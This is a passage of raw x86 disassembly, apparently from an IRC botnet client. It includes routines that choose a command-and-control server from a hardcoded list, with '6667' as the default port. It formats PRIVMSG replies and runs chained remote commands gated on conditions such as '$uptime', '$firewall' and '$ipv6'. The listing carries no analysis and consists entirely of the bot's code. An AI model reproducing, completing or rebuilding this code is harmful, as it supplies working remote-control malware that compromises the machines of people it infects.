		sub	eax, ds:dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DF00
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DF00
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DF00
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DF00
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DF00
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DF00
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EF98
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F118
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_41EA74
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E968
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41EA68
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41EA68
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E7E8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DF00
		push	offset byte_41E7E8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	ds:off_41DB18[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	ds:off_41DB18[eax]
		push	offset dword_41E968
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	ds:off_41DB1C[eax]
		push	offset dword_41EA68
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	ds:dword_41DB20[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	ds:dword_41DB20[eax]
		push	offset byte_41E7E8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E7E8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


